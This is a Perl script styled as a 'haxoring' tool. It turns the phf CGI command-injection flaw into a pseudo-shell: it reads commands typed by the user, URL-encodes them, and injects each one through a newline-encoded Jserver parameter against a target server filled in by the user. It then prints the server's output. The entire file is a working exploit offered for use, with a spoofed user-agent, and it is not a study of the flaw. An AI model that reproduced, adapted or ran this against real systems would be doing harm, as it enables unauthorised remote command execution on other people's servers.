#!/usr/bin/perl # # AvAtAr414's 31337 do it all perl net haxoring script # This incarnation acts as a phf psuedo shell # # package main; $PORT = 80; $SERVER = "put server here"; $SHOWIT = 1; # Should we print? $LINETERM = "\r\n"; ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); while(<>) { chop $_; s/ /%20/g; s/\(/%28/g; s/\)/%29/g; s/\{/%7B/g; s/\}/%7D/g; s/=/%3D/g; s/"/%22/g; s/\+/%2B/g; s/'/%27/g; s/,/%2C/g; # s/>/>/g; s/`/%60/g; $NUDGE= $_; &connect; } sub connect { local($sockaddr,$here,$there,$response,$tries) = ("Snc4x8"); $here = pack($sockaddr,2,0,&getaddress("localhost")); $there = pack($sockaddr,2,$PORT,&getaddress($SERVER)); if ($SHOWIT == 1) {print "\n=============[ Connecting to $SERVER. port $PORT ]============\n\n";} die "socket: $!\n" if (!socket(SOCK,2,1,6)); # die "connect: $!\n" if (!connect(SOCK,$there)); return if (!connect(SOCK,$there)); select(SOCK); $| = 1; select(STDOUT); $| = 1; # make unbuffered # $SIG{'ALRM'} = 'timeout'; # $TIMUP = "FALSE"; # alarm($TIME); print SOCK "GET /cgi-bin/phf?Jserver=www.cybrzn.com%0A$NUDGE%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip=".$LINETERM.$LINETERM; print SOCK "HTTP/1.0".$LINETERM; print SOCK "Accept: */*".$LINETERM; print SOCK "Accept: application/x-wais-source".$LINETERM; print SOCK "Accept: text/plain".$LINETERM; print SOCK "Accept: text/html".$LINETERM; print SOCK "Accept: www/mime".$LINETERM; print SOCK "User-Agent: Fuxx/2.1 BETA libwww/2.14".$LINETERM; print SOCK "Referer: http://localhost/cgi-bin/phf".$LINETERM; while (read(SOCK,$c,1)) # Get a character { poll: if ($TIMUP eq "TRUE") { $TIMUP="FALSE"; alarm(0); return; } if ($c eq "\n") { # Newline -> maybe print, start new line if ($SHOWIT == 1) { print $curline, "\n"; $curline = ""; next; } } if ($c eq "\r") { next; } # Return -> ignore $curline .= $c; # Else add char to current line if ($curline =~ /login/) { print $curline; $curline=""; next; } if (length($curline) >79) { print $curline; $curline=""; next; } } # alarm(0); } sub getaddress { local($host) = @_; local(@ary); @ary = gethostbyname($host); return(unpack("C4",$ary[4])); } sub showitoff { local($txt) = @_; &maybeprint ("showit off ($txt)\n"); $SHOWIT = 0; } sub showiton { local($txt) = @_; &maybeprint ("showit on ($txt)\n"); $SHOWIT = 1; } sub maybeprint { # print @_; } sub timeout { local($sig) = @_; if($sig eq "ALRM") { $TIMUP="TRUE"; if ($SHOWIT == 1) {print $curline,"\n";} $curline = ""; alarm(0); last; } }